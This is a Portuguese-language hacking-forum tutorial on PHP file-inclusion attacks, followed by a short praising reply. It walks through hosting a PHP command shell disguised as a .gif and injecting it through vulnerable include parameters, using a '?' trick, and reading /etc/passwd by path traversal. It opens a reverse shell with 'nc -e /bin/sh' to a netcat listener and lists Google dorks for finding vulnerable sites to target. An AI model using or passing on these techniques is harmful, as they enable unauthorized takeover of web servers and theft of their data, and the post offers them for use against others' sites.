Olá pessoal e estou postando para que os novos e os antigos membros possam revelo.
Como vocês irão notar retirei partes de outros tutoriais e darei créditos aos respectivos donos aproveitem
Php Injection
No php injection nos aproveitamos da função include, no qual muitos os programadores utilizam para incluir outras partes a um layout já pronto sendo como exemplo um menu lateral ou um centro dinâmico.
exemplo1.php:
<html>
<head>
</head>
<body>
<?php
include ("arquivo.php");
?>
</body>
</html>
Uma coisa que você deve saber sobre o php é que ele e pré-processado pelo servidor ou seja feito antes de se carregar a pagina, só exibindo o resultado, diferente do javascript no qual e ate possível ate vê-lo no código de fonte da pagina.
Bem supondo que o script do arquivo.php seja:
Quotearquivo.php
echo "Lol Darkers Rulez!!!
;
?>
Feito isso o resultado saído no código de fonte é :
Quoteexemplo1.php:
Lol Darkers Rulez!!!
Como você pode notar a include pegou a informação contida no arquivo.php e insere na exemplo1.php pré-processa tudo e envia o resultado so aparecendo o html.
Quote Exemplo:
include ('http://qualquerserver/pagina.php");
?>
note que acima foi feita uma inclusão de uma outra pagina e ai que vamos fazer nossa inclusão maliciosa,para obter acesso remoto a maquina vamos logo a ação.
Quotecobaia.php
Antes de incluir
include ($corpo);
?>
Depois de incluido
Na pagina e usada a variável $corpo para receber o valor da include vejamos um exemplo de como ficaria no link
http://paginapassiva/cobaia.php?corpo=arquivo.php (http://paginapassiva/cobaia.php?corpo=arquivo.php)
como você pode notar com a ?corpo=arquivo.php sendo que a parte arquivo.php e o arquivos que esta sendo incluído na pagina,mais é claro veremos outros tipos de includes como
Quoteinclude ($corpo . ".php");
?>
O ponto logo apos $corpo e antes de .php é usado para concatenar strings.
Assim você não ira prescizar passar a extensão
http://paginapassiva/cobaia.php?corpo=arquivo (http://paginapassiva/cobaia.php?corpo=arquivo)
agora o que queremos fazer, é fazer nossas inclusões nessa pagina ,e para isso vamos usar os exemplos pagina-ativa, pagina-passiva
http://paginapassiva/cobaia.php?corpo=h ... va/lol.php (http://paginapassiva/cobaia.php?corpo=http://paginapativa/lol.php)
No exemplo acima estamos incluindo uma pagina nossa na variável corpo
Mais lembre-se queremos injetar nosso programa para que ele rode no servidor da pagina alvo ,não queremos q seja processada na nossa e entregue o resultado para a pagina-passiva por isso iremos não usaremos uma extensão qualquer que não seja .php vamos usar como exemplo o .gif use a que quiser .jpg,.bmp,.txt,.etc...
Existe uma forma de consiguir burlar este tipo de declaraçao do include. Voce terá que usar a seguinte construçao:
http://127.0.0.1/cobaia.php?corpo=http: ... 0.2/DK.gif (http://127.0.0.1/cobaia.php?corpo=http://192.168.0.2/DK.gif)?
Com esse ponto de interrogaçao logo apos o xpl.gif, voce conseguirá o efeito desejado. Antes de fazer a inclusão, a PHP ficaria assim:
Quoteinclude ("http://192.168.0.2/
xpl.gif?.php");
?>
Tudo o que vier depois do ponto de interrogação será descartada pelo servidor pagina passiva, sendo possível assim descarregar o DK.gif para dentro do servidor alvo.
Portanto, a partir de agora, vamos sempre usar este ponto de interrogação, já que pode ser usado nos dois casos.
Existem outros tipos de inclusões
Quotecobaia2.php:
include ("/var/www/htdocs/" . $corpo);
?>
Agora, se tentarmos incluir algo desta forma:
http://127.0.0.1/cobaia.php?corpo=http: ... .2/xpl.gif (http://127.0.0.1/cobaia.php?corpo=http://192.168.0.2/xpl.gif)? resultaria em um erro porque o servidor não conseguiria fazer a inclusao de:
Quoteinclude ("/var/www/htdocs/http://192.168.0.2/xpl.gif?");
?>
Infelizmente, nossas chances de conseguir incluir arquivos remotamente agora caiu a zero, mas ainda é possivel tirar vantagem desta situaçao se tentarmos a seguinte construçao:
http://127.0.0.1/cobaia.php?corpo=../../../etc/passwd (http://127.0.0.1/cobaia.php?corpo=../../../etc/passwd)
Na hora do include, ficaria assim:
Quoteinclude ("/var/www/htdocs/../../../etc/passwd");
?>
como você pode notar nos pegas a parte /etc/passwd do site e exibimos no corpo da pagina, muito útil assim num site vulnerável e possível obter partes não acessíveis
mais já sabemos como fazer inclusões agora vamos executar nossos programas "malignos"(huhauha gargalhada do mal(sim pensamento de script kiddie)) vamos usar como exemplo um script q eu tirei nesse msm fórum ja hospedado
http://cleanmasters.50webs.com/figuras.gif (http://cleanmasters.50webs.com/figuras.gif)
grande né, mais e um ótimo script que nos vai dar nosso tão querido cmd.
Mais pêra aew,eu já li em um bilhão de tópicos e eles não esplicam "como assim DK.gif pode ser um php, certo então vou te explicar
Primeiro você deve abrir um bloco de notas e nomeá-lo com o nome que deseja disfarçar ,exemplo "figuras".
Agora iremos colar nele nosso exploit como o acima e agora clique em arquivo > salvar como... .
Troque de documento de texto para todos os arquivos e coloque no nome a extensão exemplo "figuras.gif" ótimo agora esse gif vai ter nosso código malicioso disfarçado
Simples hospede, e você terá um exploit para ser usado
Agora iremos injetá-lo
http://paginapassiva/index.php?corpo=ht ... -a-injetar (http://paginapassiva/index.php?corpo=html://paginaativa/figuras.gif?&cmd=comando-a-injetar)
Se der certo ira aparecer as informações do servidor e a janela de comando pra executar os comandos
Agora precisamos de uma shell, com a qual possamos dar comando interativamente. Para isso, vamos usar a ferramenta netcat (nc). Voce precisará dela no seu computador e na máquina-alvo.
Esse utilitário para Unix foi portado também para plataforma Windows pelo grupo l0pht. Para saber mais, entre no site: www.l0pht.com (http://www.l0pht.com).
Por ser uma ferramenta muito poderosa, a possibilidade de encontrá-la no servidor no qual voce esta tentando acessar aumentou dramaticamente nos últimos tempos. Algumas distribuiçoes Linux estão trazendo-a como padrao agora.
Abrindo uma porta para receber os dados:
[root@dcha0s h4rv3st]# nc -vv -l -p 666
listening on [any] 666...
Pronto, ja temos nosso computador (a porta deve ser aberta no seu PC e nao no servidor) escutando a porta 666. Agora vamos enviar a shell pelo browser da seguinte maneira:
http://127.0.0.1/cabaia.php?corpo=http: ... usr/bin/nc (http://127.0.0.1/cabaia.php?corpo=http://192.168.0.2/xpl.gif?&cmd=/usr/bin/nc) -e /bin/sh localhost 666
Um erro ocorreu enquanto carregava:
http://127.0.0.1/cabaia.php?corpo=http: ... t%20%20666 (http://127.0.0.1/cabaia.php?corpo=http://192.168.0.2/xpl.gif?&cmd=/usr/bin/nc%20-e%20/bin/sh%20localhost%20%20666)
Tempo esgotado no servidor
127.0.0.1
Isso aconteceu porque o servidor excedeu o tempo limite da conexao por nao esperar a saida do comando executado para retornar ao seu navegador. Mas vamos dar uma olhada no shell onde deixamos o netcat escutando.
Voce verá que chegou uma conexão na porta, e agora pode dar comandos à vontade. Usamos o id e o uname -a para demonstrar:
Quote[root@dcha0s h4rv3st]#nc -vv -l -p 666
listening on [any] 666...
connect to [127.0.0.1] from localhost [127.0.0.1] 1041
id
uid=99(nobody) gid=98(nobody) groups=98(nobody)
uname -a
Linux dcha0s 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i586 unknown
Funciona perfeitamente. Só um detalhe: quando estiver na shell, nao use Ctrl+C , pois isso fará com que caia.
Agora você quer procurar paginas vulneráveis a php injection
Vá no google e procure por:
Quoteallinurl:".php?page="
allinurl:".php?inc="
allinurl:".php?body="
allinurl:".php?main="
allinurl:".php?pag="
allinurl:".php?p="
allinurl:".php?content="
allinurl:".php?cont="
allinurl:".php?c="
allinurl:".php?meio="
allinurl:".php?x="
allinurl:".php?cat="
allinurl:".php?site="
allinurl:".php?m="
allinurl:".php?do="
allinurl:".php?x="
allinurl:".php?content="
allinurl:".php?pagina="
allinurl:".php?root="
allinurl:".php?include="
allinurl:".php?open="
allinurl:".php?visualizar="
allinurl:".php?conf="
vale tudo na parte ?conf=" basta ser criativo como eu que achei uma pagina vulnerável digitando allinurl:".php?center="
Boa sorte
Lembrete não me responsabilizo pelos atos causados por outras pessoas nem as fontes se responsabilizam pelos mesmos
Textos bases e copias do usuários:
Dsoul e Chavesfop
Forum invasão
Exemplos:
//http://img137.imageshack.us/img137/5765/invasao9ce.jpg
Heys! Li o topico e achei bastante bom e explicativo... continuam assim!
Abraços,
Crypthief